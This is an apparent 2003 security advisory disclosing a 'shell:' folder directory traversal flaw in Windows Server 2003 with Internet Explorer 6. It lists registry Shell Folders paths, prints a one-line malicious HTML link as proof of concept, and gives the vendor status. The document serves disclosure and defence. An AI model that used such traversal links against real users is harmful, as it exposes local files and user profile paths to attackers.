Microsoft Windows Server 2003 "Shell Folders" Directory Traversal Vulnerability

["Eiji James Yoshida" <ptrs-ejy@bp.iij4u.or.jp>]

Title:
~~~~~~~~~~~~~~~~~~~~~~~
Microsoft Windows Server 2003 "Shell Folders" Directory Traversal Vulnerability
[http://www.geocities.co.jp/SiliconValley/1667/advisory08e.html]


Date:
~~~~~~~~~~~~~~~~~~~~~~~
8 October 2003


Author:
~~~~~~~~~~~~~~~~~~~~~~~
Eiji James Yoshida [ptrs-ejy@bp.iij4u.or.jp]


Vulnerable:
~~~~~~~~~~~~~~~~~~~~~~~
Windows Server 2003 (Internet Explorer 6.0)


Overview:
~~~~~~~~~~~~~~~~~~~~~~~
Windows Server 2003 allows remote attacker to traverse "Shell Folders" 
directories.
A remote attacker is able to gain access to the path of the %USERPROFILE% 
folder without guessing a target user name by this
vulnerability.

ex.) %USERPROFILE% = "C:\Documents and Settings\%USERNAME%"


Details:
~~~~~~~~~~~~~~~~~~~~~~~
Windows Server 2003 allows remote attacker to traverse "Shell Folders" 
directories and access arbitrary files via "shell:[Shell
Folders]\..\" in a malicious link.

[Shell Folders]
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell 
Folders
 AppData: "C:\Documents and Settings\%USERNAME%\Application Data"
 Cookies: "C:\Documents and Settings\%USERNAME%\Cookies"
 Desktop: "C:\Documents and Settings\%USERNAME%\Desktop"
 Favorites: "C:\Documents and Settings\%USERNAME%\Favorites"
 NetHood: "C:\Documents and Settings\%USERNAME%\NetHood"
 Personal: "C:\Documents and Settings\%USERNAME%\My Documents"
 PrintHood: "C:\Documents and Settings\%USERNAME%\PrintHood"
 Recent: "C:\Documents and Settings\%USERNAME%\Recent"
 SendTo: "C:\Documents and Settings\%USERNAME%\SendTo"
 Start Menu: "C:\Documents and Settings\%USERNAME%\Start Menu"
 Templates: "C:\Documents and Settings\%USERNAME%\Templates"
 Programs: "C:\Documents and Settings\%USERNAME%\Start Menu\Programs"
 Startup: "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup"
 Local Settings: "C:\Documents and Settings\%USERNAME%\Local Settings"
 Local AppData: "C:\Documents and Settings\%USERNAME%\Local 
Settings\Application Data"
 Cache: "C:\Documents and Settings\%USERNAME%\Local Settings\Temporary Internet 
Files"
 History: "C:\Documents and Settings\%USERNAME%\Local Settings\History"
 My Pictures: "C:\Documents and Settings\%USERNAME%\My Documents\My Pictures"
 Fonts: "C:\WINDOWS\Fonts"
 My Music: "C:\Documents and Settings\%USERNAME%\My Documents\My Music"
 My Video: "C:\Documents and Settings\%USERNAME%\My Documents\My Videos"
 CD Burning: "C:\Documents and Settings\%USERNAME%\Local Settings\Application 
Data\Microsoft\CD Burning"
 Administrative Tools: "C:\Documents and Settings\%USERNAME%\Start 
Menu\Programs\Administrative Tools"
 

Exploit code:
~~~~~~~~~~~~~~~~~~~~~~~
**************************************************
This exploit reads %TEMP%\exploit.html.
You need to create it.
And click on the malicious link.
**************************************************

Malicious link:
<a href="shell:cache\..\..\Local Settings\Temp\exploit.html">Exploit</a>


Workaround:
~~~~~~~~~~~~~~~~~~~~~~~
None.


Vendor Status:
~~~~~~~~~~~~~~~~~~~~~~~
Microsoft was notified on 9 June 2003.
They plan to fix this bug in a future service pack.

Microsoft Knowledge Base(KB829493)
[http://support.microsoft.com/default.aspx?scid=829493]


Thanks:
~~~~~~~~~~~~~~~~~~~~~~~
Microsoft Security Response Center
Masaki Yamazaki (Japan GTSC Security Response Team)
Youji Okuten (Japan GTSC Security Response Team)


Similar vulnerability:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Microsoft Internet Explorer %USERPROFILE% Folder Disclosure Vulnerability
[http://www.geocities.co.jp/SiliconValley/1667/advisory07e.html]


-------------------------------------------------------------
Eiji James Yoshida
penetration technique research site
E-mail: ptrs-ejy@bp.iij4u.or.jp
URL: http://www.geocities.co.jp/SiliconValley/1667/index.htm
-------------------------------------------------------------